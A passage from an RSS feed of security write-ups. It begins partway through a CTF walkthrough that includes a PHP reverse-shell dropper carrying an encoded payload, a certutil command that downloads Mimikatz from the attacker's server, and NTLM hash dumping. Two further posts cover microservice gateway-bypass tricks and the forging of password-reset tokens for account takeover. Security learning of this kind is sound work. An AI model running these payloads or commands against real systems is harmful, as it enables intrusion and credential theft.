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&quot;;<br>$evalCode = gzinflate(base64_decode($payload));<br>$evalArguments = &quot; &quot;.$port.&quot; &quot;.$ip;<br>$tmpdir =&quot;C:\\windows\\temp&quot;;<br>chdir($tmpdir);<br>$res .= &quot;Using dir : &quot;.$tmpdir;<br>$filename = &quot;D3fa1t_shell.exe&quot;;<br>$file = fopen($filename, &#39;wb&#39;);<br>fwrite($file, $evalCode);<br>fclose($file);<br>$path = $filename;<br>$cmd = $path.$evalArguments;<br>$res .= &quot;\n\nExecuting : &quot;.$cmd.&quot;\n&quot;;<br>echo $res;<br>$output = system($cmd);<br>			            <br>?&gt;</pre><p>Now upload this file as we uploaded the Previous one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lgtgWwrJOTwqoRrC1m5U4A.png" /></figure><p>Start your Listener on the Specified Port and Then fetch the Reverse Shell file From the Browser. Now you&#39;ll have a Fully Functional Reverse Shell.</p><h3>Finding the Flags</h3><p>Now comes the main part of finding the Flags. Our Questions are</p><ul><li>“Lab” user NTML hash decrypted</li><li>root.txt</li></ul><p>First, let&#39;s start by Finding the <strong>NTLM </strong>Hashes of The <strong>LAB </strong>User. For this, we will use <strong>Mimikatz </strong>it&#39;s <strong>a leading post-exploitation tool that dumps passwords from memory and</strong> <strong>hashes</strong>, <strong>PINs</strong>, and Kerberos tickets.</p><p>Ths Big Question Here is that How to get Mimikatz on the server as we don&#39;t have services like Netcat and Curl To Download Files?.</p><p>So for this, we will use <strong>Certutil.exe</strong> this is <strong>a command-line program</strong>, installed as part of Certificate Services. We can use this to Fetch File From Other Servers</p><p>We will first get the x86 Version of Mimikatz in our Current Directory and then start a simple python HTTP server. And then Setup certutil.exe on the target machine to fetch Our Hosted File. Launch Certutil using the following command.</p><blockquote>$cp /usr/share/mimikatz/Win32/mimikatz.exe .</blockquote><p><strong>certutil.exe -urlcache -f </strong><a href="http://10.17.11.91:8000/mimikatz.exe"><strong>http://YOUR_IP:8000/mimikatz.exe</strong></a><strong> mimi.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u0phBnaECiKVwKg9O0MAdg.png" /><figcaption>HTTP Interaction From The Target Machine</figcaption></figure><p>Now We can Run Mimikatz to Dump The NTLM Hashes Of All the Users on the Machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lJlbmDNUbHWmAvuAuJhZPA.jpeg" /></figure><p>Go to a Website like <a href="https://crackstation.net/">Crackstation </a>to Crack The hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*u0XiVOgQTIX-yhqAmxu25w.png" /></figure><p>Finally, we need to get the root.txt flag. This is normally on the Administrator’s Desktop. Changing the directory there shows us the flag file. Use the <strong>more </strong>command to reveal the contents, and submit it to the dashboard.</p><blockquote>cd C:\Users\Administrator\Desktop</blockquote><blockquote>more root.txt.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*dcDICcXo2Yl26fm8Svdb1A.png" /></figure><blockquote>Congratulations on completing the room!💥</blockquote><p><strong>Blueprint </strong>was a great opportunity to take what would normally be easy Metasploit exploitation, and use a lesser-traveled<strong> manual exploit </strong>instead to finish. <strong>Mimikatz </strong>is an incredibly powerful tool that can be leveraged in many ways, and I encourage you to learn about it more on your own. I hope this walkthrough guide has helped you along your way, and I’ll see you next time!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b37964edfe0c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/blueprint-walkthrough-metasploit-b37964edfe0c">BluePrint Walkthrough[❌Metasploit ❌]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Microservices For Fun and Bounty]]></title>
            <link>https://infosecwriteups.com/hacking-microservices-for-fun-and-bounty-5cc302769e94?source=rss-c066ab159c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/5cc302769e94</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[microservices]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mayank Pandey]]></dc:creator>
            <pubDate>Tue, 06 Jul 2021 10:42:22 GMT</pubDate>
            <atom:updated>2021-12-21T07:26:38.792Z</atom:updated>
            <content:encoded><![CDATA[<h4>Understand How Microservices Work and Ways to hack it.</h4><p>Microservices are catching a lot of heat these days, they are on the verge of going mainstream, according to a recent <a href="https://www.nginx.com/resources/library/app-dev-survey/">survey from Nginx</a>, <em>36 percent of enterprises</em> surveyed are currently using microservices, <em>with another 26 percent</em> in the research phase. But what exactly is a microservices architecture.</p><p>From a Perspective of a Penetration Tester or a Bug Bounty Hunter, it&#39;s very important to first know the core working of technology before actually testing to break it. So today let&#39;s dive into Microservices.</p><h3>What Are Microservices?</h3><p><strong>Microservices</strong> is an architectural style that structures an application as a collection of small autonomous services, modeled around a <strong>business domain. </strong>It helps different services to run independently in their pod and to efficiently transfer data between each other without relying much on each other.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*otxhz3jtRLE5FZskm_uhDw.png" /><figcaption>Source:https://www.edureka.co</figcaption></figure><h4><strong>How Microservices are different from Monolith and Rest APIs?</strong></h4><p>The base difference Between Traditional Architecture(Monoliths and RESTful APIs) and Microservices arises from their way of sharing resources and services within the Application All the services are separated based on their domains and functionalities and are further allotted to individual microservices. Each service in the Microservice Architecture is <strong>self-contained</strong> and implements a <strong>single business capability </strong>like User Authentication, Searching, and So on.</p><p>These microservices have their own <strong>load balancer</strong> and <strong>execution environment</strong> to execute their functionalities &amp; at the same time capture data in their own databases. All the internal points are connected from the API Gateway. So, anybody who connects to the API Gateway automatically gets connected to the complete system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zF9jZ63rn_sZiMX6euRsmw.png" /></figure><h3>Hacking into the Services.</h3><p>Microservices are leveraging complexity in code by adding complexity in interaction and More Complexity leads to More bugs. According to many studies, <strong><em>Microservices are considered to be four times more vulnerable than traditional monolithic applications</em></strong>. Due to its distributed structure, each service API and network layer expose susceptible entry points to potential attack vectors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*dA_g199KIlqL6ulRMab0kA.png" /></figure><p>Usually, service calls are secured by implementing an API gateway, which acts as the<strong> single entry point to receive a call </strong>and then route traffic onto different services. This approach of having a single entry point through authentication has its own merits and demerits. Sometimes an attacker only needs to bypass the BFF/API Gateway to control the whole Architecture. This is the worst nightmare for any company</p><p>Theoretically, an API gateway limits the attack surface; however, it also turns out to be a <strong>single point of failure for potential attack vectors</strong>. Mostly the Authentication part is controlled by the gateway making it more Dangerous if bypassed. Recent research also suggests that most traditional attack vectors target an application through API calls.</p><h3>Getting Inside…</h3><p>There are many ways in which you can bypass the API Gateway to move inside the system and conduct further attacks. Let&#39;s discuss them.</p><h4>Who are you talking to??</h4><p>Whenever a service call is made there is a high probability that it will pass through the API Gateway, and the Gateway performs many actions on the requested path such as routing and path normalization.</p><p>If you get to know which services you are talking to then it becomes an easy task to move forward with an attack. Making sure that your Call is listened to by the internal Architecture can help you to conduct attacks like path traversal, directory brute force, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V3IbaDpYaalrKmfwqP-PhA.png" /><figcaption>The request being Filtered by API Gateway</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dXgBJajzmKWwXdZ_1h3pHA.png" /><figcaption>Requested Listened and Being Responded by the Internal Microservice.</figcaption></figure><p>In the above pictures, you can see 2 requests being sent to the same host with almost the same path, but the response is completely different.</p><p>Here the gateway is performing a check on the requested path and it makes sure that the Microservice actually exists before forwarding the request ahead(In this case the “auth” microservice). And if the path exists then the request I transferred ahead.</p><p>In a practical attack scenario, the attacker can perform a path traversal attack to make the API gateway route the request to the Root of the microservice allowing them to do anything inside the system without any authentication.</p><p>The different responses help the attacker to know which services are being hit. This makes the Directory Brute force very easy, as by only knowing a few of the services they can uncover few hidden endpoints.</p><h4>Identifying Application Routing.</h4><p>Routing is the process of selecting a path for traffic in a network or between or across multiple networks. This is the most important aspect of Application Security, if not implemented properly then it can lead to Information Disclosure.</p><p>We have to perform a few checks to see how the Application is routing the requests to the internal Architecture.</p><ol><li><strong>Performing Directory Traversal</strong></li></ol><ul><li>Try to see if <strong>“/v1/auth”</strong> returns something else than <strong>“/v1/auth/user/../”</strong></li><li>Is the request being transferred without checking the path? <strong>“/v1/auth/../../database” </strong>is passed on to the Internal Architecture even if the <em>database</em> Service does not exist.</li></ul><p>2. <strong>Breaking Application with Random Inputs</strong></p><ul><li>We can try to Fuzz the Application<strong> using different control characters </strong>such as</li></ul><blockquote><strong><em>%23 (#), %3f (?), %26 (&amp;), %2e (.), %2f (/), %40 (@)</em></strong></blockquote><ul><li>Giving Input as Double/triple URL encoding</li></ul><p>3. <strong>Noticing Small Changes.</strong></p><ul><li>Does the <strong>root(“/”)</strong> of the API gateway give out some information?</li><li>Does the behavior suddenly change for certain directories?</li><li>Why does <strong>“/v1/auth”</strong> return different headers than<strong> “/v1/auth/register”</strong>?</li><li><strong>“api.comapny.com:443” </strong>-&gt; <em>200 OK</em> and <strong>“api.company.com:80”</strong> -&gt; <em>500 INTERNAL SERVER ERROR</em></li><li>Does Traversing backward allows us to overwrite the API paths?</li></ul><h3>Conclusion</h3><p>Microservices are complex yet Vulnerable you just need to think out of the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*caHUsxk7Y-OKqaG0wxi-2g.png" /><figcaption>“Security is not a product, it’s a process✨”</figcaption></figure><p>Thanks a lot for reading. Share if you like it 😇😇</p><p>You can find me on Twitter: <a href="https://twitter.com/mayank_pandey01"><strong>mayank_pandey01</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5cc302769e94" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/hacking-microservices-for-fun-and-bounty-5cc302769e94">Hacking Microservices For Fun and Bounty</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An Interesting Account Takeover!]]></title>
            <link>https://infosecwriteups.com/an-interesting-account-takeover-3a33f42d609d?source=rss-c066ab159c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a33f42d609d</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mayank Pandey]]></dc:creator>
            <pubDate>Thu, 18 Mar 2021 16:21:53 GMT</pubDate>
            <atom:updated>2021-12-20T11:52:51.038Z</atom:updated>
            <content:encoded><![CDATA[<h3>An Interesting Account Takeover!!</h3><h4>IDOR and weak encryption led to a Full account takeover.</h4><p>Hello, my fellow hackers. I am Mayank Pandey, a Bug Hunter, and an Aspiring Red Teamer. This is my first ever write-up for any Bug so if I make any mistake then ignore it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9WIbqoPV50cFc9GaZZ5r-w.png" /></figure><p>Now coming straight to the interesting part. Recently I was reading about many Account Takeovers on Medium they were usually using “X-Forwarded-Host” headers for Stealing Token. So I thought why not give this a try but in a different way. I had a few private invites pending, So I accepted one and started to look for Account Takeovers, And Finally found the Gem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*1IbZevL2ca--0NPOg6JjHg.png" /></figure><p>This bug was present in the “Password Reset” function which allowed a full account takeover without a single interaction from the User. It was a combination of IDOR, a bit of cryptography, and a lot of directory fuzzing.</p><p>Let&#39;s call the company: “example.com”. First, see how a normal Password reset works.</p><p>1: User goes to “example.com/php/login_or_password_forgotten” and requests a reset of the password by entering their profile ID and Name.</p><p>2: Their Profile ID and Name gets Validated and a <em>‘STATE</em>’ parameter is generated.</p><blockquote>STATE=eJxdkN1OwzAMhd8lDzA1XffT9GpMDE2gdmKTuIxM4paILilJJhBo747DfjRxlfhzYp9zGpHPBduaryiXzqN8wdeVhz1%2BOv8utxEiMsHFTxATwcJfWYEoEpgKppxtTZfIOJGSSG%2FQRmkGVgXBC8H4ZDYq8hHnfMSnZaL0r3cKekwFTUUrH%2B7SnXT0YLsDdP9aRxo1E6y96hrAR4ueVY3Iy1v1i81abk7Ny8loIWkjKQcLe1bVNDrPBHuDIHuEYGwnyUf0oCKrXkWWhFPfo3KdNd%2Bob6k0FiOt34cLJTvy4wD9FZANCVp7DCFtO4vfPS%2Fq7WK5Wze13DWP93WyOM4FgxJn7VgrBS2fTzVqzDLFVY4cs2Le6vSuTMmESL5P0RT8bHrjXWt68j0M8sl1xjZ%2BAyFQSHrlfOdidJbyO%2F4CvKKcYg%3D%3D55840ad4a2f32819aa5da2cf48288290</blockquote><p>3: After this, a password reset link is sent to the Users registered E-mail which looks like this</p><blockquote><a href="https://example.com/php/login_or_password_forgotten?k=789c0dc8610a80200c06d0bbec049bc9d26f870921834192a4ffa2bbd7fbf90a029e810c9adeea98a5753287a844e16555b1016150bfafc3cfbaf94eff2450e494a2e640f67ebc89137aade927d25a020ab2535ab4b5c9dc4fd1">https://example.com/php/login_or_password_forgotten?k=789c0dc8610a80200c06d0bbec049bc9d26f870921834192a4ffa2bbd7fbf90a029e810c9adeea98a5753287a844e16555b1016150bfafc3cfbaf94eff2450e494a2e640f67ebc89137aade927d25a020ab2535ab4b5c9dc4fd1</a></blockquote><p>4: Now user can change their password by going to the dashboard after clicking the link.</p><h3>The Fun Part</h3><p>The <em>“?k” </em>parameter looked a bit suspicious to me so I quickly copied it and pasted it on <a href="https://gchq.github.io/CyberChef/">CyberChef </a>to see if it&#39;s an encrypted string or not. To my surprise, it was an Encrypted+Compressed string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W06aZMbw4I4wzFsaDscYDA.png" /></figure><p>It was first <strong>Zlib-deflated</strong> and then the deflated string was Encrypted back using <strong>Hex. </strong>Thus the token</p><blockquote>“<em>789c0dc8610a80200c06d0bbec049bc9d26f870921834192a4ffa2bbd7fbf90a029e810c9adeea98a5753287a844e16555b1016150bfafc3cfbaf94eff2450e494a2e640f67ebc89137aade927d25a020ab2535ab4b5c9dc4fd1&quot;</em></blockquote><p>decrypts back to</p><blockquote><em>“a:2:{s:9:”timestamp”;i:1614104013;s:10:”profile_id”;s:8:”40884692&quot;;}</em>”</blockquote><p>The decrypted string consists of two important variables “profile_id” and “timestamp”. I was very happy to see that, thinking I found the Gem. I immediately forged the token for my second account used it to changed the password.</p><blockquote>Forged Token — 789c0dc8510a85201005d0bdcc0ac6f25da6eb62427806034992fe457bb7df93b9f0e9dc28c36be923d726c919107ec0aa40ea0c4a69f775f85976ffcb2746891a610693f44ebe171387</blockquote><p>But I was totally wrong. The link was not valid.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FWIAxZtUxUY000%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2FWIAxZtUxUY000&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2FWIAxZtUxUY000%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="251" frameborder="0" scrolling="no"><a href="https://medium.com/media/09b55aefccd5487ee07581493df68a5e/href">https://medium.com/media/09b55aefccd5487ee07581493df68a5e/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*CF7bDZvtOadDbvS0hGYZnA.png" /></figure><p>Nothing comes this easy…right?</p><h3>The Twist</h3><p>If you notice closely then you would notice that the original token and the forged token have a difference in length</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_iV1qh8tvYbzK-kNLOW-8A.png" /></figure><p>The original token and the forged token had a difference of 32 characters. This was a huge problem as the server was not accepting any junk value in place of that 32 characters. Both the tokens were being decrypted to the same value i.e</p><blockquote>“<em>a:2:{s:9:”timestamp”;i:1614104013;s:10:”profile_id”;s:8:”40884692&quot;;}”.</em></blockquote><p>This left me totally frustrated 😫 😫. I started searching more about Zlib Compression. I went to Reddit and posted my query and surprisingly my Inbox was flooded with numerous amazing blog posts and ideas on how to deal with the Zlib.</p><p>And after 2 hours of reading on the internet, I found out that Zlib includes an <strong>ADLER32 checksum</strong> if you use the Adler-32_Checksum() function after inflating you get <strong>BC89137A,</strong> notice that this checksum is present in the original token. In Zlib, everything after this checksum is not part of the compression stream and will therefore be ignored, this was the reason why both tokens give the same result even after a difference in length.</p><p>So now the challenge was to find the 32-bit string. As all the token-related work was happening on the client side I was pretty sure to find something in the JS files.</p><p>After few hours of looking in the JS file, I Found an endpoint <strong>“ /php / user ”. </strong>I decided to brute force the directory and finally found the endpoint “<a href="https://example.com/"><strong>https://example.com</strong></a><strong>/php/user/example/”, </strong>this endpoint had a string named “Transction_Token”, and indeed this was the last piece I was looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*CqR9l8O5TcxaIylpkNsrAg.png" /></figure><h3>Putting the pieces Together</h3><p>Now it was time for putting everything together and exploiting it.</p><p>This attack needed to be precise as every time the page is refreshed the “Transaction _Token” changes. So I made a python script to automate the whole thing.</p><p>I generated the token for my second account and used it to change the password and <strong>IT WORKED!!!!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*sx9gJWxWU_JFYMJQ5Xbq1g.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F10657915&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fleonardo-dicaprio-cheers-gif-10657915&amp;image=https%3A%2F%2Fmedia.tenor.com%2Fimages%2Fb943fbb98481a4fe1a0f2f5fcee8ffe6%2Ftenor.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/6669176003f172dc9da5500bd2c43461/href">https://medium.com/media/6669176003f172dc9da5500bd2c43461/href</a></iframe><h3>Important Takeaways</h3><ul><li>If there is a token then there is a chance that it can be cracked.</li><li>Manually read the JS file once as these contain very important information on working of the Web App</li><li>Try asking on Reddit for technical details, it will surely surprise you, Also there people don&#39;t see your follower count before replying to you 😅 😉.</li></ul><blockquote>Trust your Gut Feeling And Always Go the Extra Mile 😇</blockquote><p>Thanks a lot for reading. Share if you like it</p><p>You can find me on Twitter: <a href="https://twitter.com/mayank_pandey01"><strong>mayank_pandey01</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a33f42d609d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/an-interesting-account-takeover-3a33f42d609d">An Interesting Account Takeover!</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>